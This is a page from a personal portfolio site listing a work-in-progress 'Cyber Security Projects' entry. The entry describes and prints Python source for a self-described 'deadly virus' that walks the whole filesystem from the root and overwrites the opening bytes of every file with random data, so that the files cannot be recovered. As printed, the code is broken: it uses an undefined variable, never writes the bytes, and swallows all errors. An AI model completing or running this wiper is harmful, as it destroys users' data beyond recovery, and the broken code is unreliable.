MasterWard Profile
  • Introduction
  • Media Links
  • Resume
  • HackThebox Notes
    • RedPanda
    • Metatwo
  • CTF Contest Writeups
    • 2017
      • Takoma Park CTF
      • TUCTF 2017
      • HITCON CTF 2017 Quals
      • CSAW CTF Qualification Round 2017
      • SEC-T CTF
      • Backdoor CTF 2017
      • Hack Dat Kiwi 2017
      • Kaspersky 2017
      • Hack.lu 2017
      • HackCon 2017
      • Defcamp 2017
      • Square CTF 2017
      • Mitre 2017
      • EKOPARTY CTF 2017
    • 2018
      • SEC-T CTF
      • Hackcon 2018
      • EasyCTF IV 2018
      • DefCamp CTF Qualifiers
      • PACTF 2018
      • CSAW CTF Qualifiers 2018
      • PicoCTF 2018
    • 2019
      • Newark Academy CTF 2019
      • Crypto CTF 2019
      • PicoCTF 2019
        • General Skills
        • Binary Exploitations
        • Forensics
        • Reverse Engineering
        • Cryptography
        • Web Exploitation
      • TAMUctf 19
    • 2021
      • picoCTF 2021
        • General Skills
        • Binary Exploitation
        • Forensics
        • Reverse Engineering
        • Cryptography
        • Web Exploitation
      • HackiHoli
      • S.H.E.L.L CTF
      • DawgCTF 2021
      • TCTF 2021
      • RedPwnCTF 2021
      • IJCTF 2021
      • UIUCTF 2021
      • Really Awesome CTF 2021
      • TMUCTF 2021
      • CSAW Qualifiers 2021
      • Pbjar CTF 2021
      • Deadface CTF 2021
    • 2022
      • NahamCon CTF 2022
      • BYUCTF 2022
      • DEF CON Qualifiers 2022
    • Useful Code
  • Software
    • Video Standardization and Compression
    • TOBIAS
    • Tracking Phone
    • Image Compression
    • Do Not Call Database
    • Color Blind Simulator
    • Gmail Unsubscriber
    • MP4 to GIF Converter
    • Optical Character Reading
    • Soft Jobs
    • OBD Project
    • Online Movie Finder
    • Work In Progress
      • Incremental Backup
      • Web Scraper - Wallpaper Edition
      • Web Blocker
      • File Manipulator
      • AppFiller
      • Cyber Security Projects
      • Bsaber AI
    • Ideas
      • CAN Programming
      • Malicious Programs
      • Remove Yourself from the Internet
      • DNA Classic
      • Auto Clicker
      • Adding Depth to a Video
      • Collage Mosaic Generator
      • Game Destroyer
      • Hearing aid Technology
      • Sign Language Recognition
      • Text Summarizer
      • Video to audio to text
      • Video Object Detection
      • VR demonstration
      • More Ideas to Elaborate on
    • Failure
      • Police Camera Radar
      • Already Created
      • Google Maps Game
      • Car price prediction
      • Bullshit Detector
      • Automated Code writter
      • Career Prediction
      • Samsung Remote Control Hack
      • Invalid Finder
      • PiHole Regex Filter
      • Group Archiver
  • Additional Articles
    • Cleaning Up a Computer Tricks
    • Getting started in Cyber Security
    • Speeding Up Your Internet
    • College Experience
    • Currently Writting
      • Reverse Engineering Notes
      • Bug Bounty Guide and Examples
      • OSCP help
      • Job Experience
      • Professional Job-Hunting Experience
Powered by GitBook
On this page
  • Origin
  • Overview
  • Forensics Nightmare
  • TBD

Was this helpful?

  1. Software
  2. Work In Progress

Cyber Security Projects

Origin

I was in an interview and they asked what I have done on the side, which hit me a huge thing I have been overlooking. I don't have any cyber security projects but have a lot of programming projects. Sure I have CTF but how much does that account for? I realize I need to add more to get more creditability.

Overview

Wanted a program that could be useful in cyber security. Just put segments together into one huge program. Kind of like TOBIAS but in cyber security.

Forensics Nightmare

Basically in forensics I learned that carving comes from magic bytes or headers from a file. I didn't want to append and it seemed there was nothing you could do to write the beginning bytes of the file until I found mmap. It could rewrite the first bytes of a file. Mix that in with a traversal and you get a deadly virus that rewrites a computer. The bytes are random so the only way to recover is to brute force guessing the correct file type and from that you still have a loss as I didn't just do the first few but a good chunk.

import mmap
import random
import numpy as np
import os
import subprocess

def main():
    #subproccess.run('pip3 install mmap')
    path = "/"
    #we shall store all the file names in this list
    filelist = []
    print("starting up")
    for root, dirs, files in os.walk(path): # Finds all the files on the system
        for file in files:
            #append the file name to the list
            filelist.append(os.path.join(root,file))

    print("loading......")
    if True:
        for f in filelist: # Iterates through the files and rewrites the beginning bytes
            try:
                file_obj = open(f, mode='r+')
                mmap_obj = mmap.mmap(file_obj.fileno(),length=0,access=mmap.ACCESS_WRITE,offset=0)
                file_size = os.path.getsize(filepath)
                startint = 50
                endint = 150
                if file_size < 100:
                    endint = file_size
                    startint = file_size / 2
                rep_len = random.randint(startint, endint)
                randbytes = np.random.bytes(rep_len)
            except:
                pass

main()

TBD

PreviousAppFillerNextBsaber AI

Last updated 2 years ago

Was this helpful?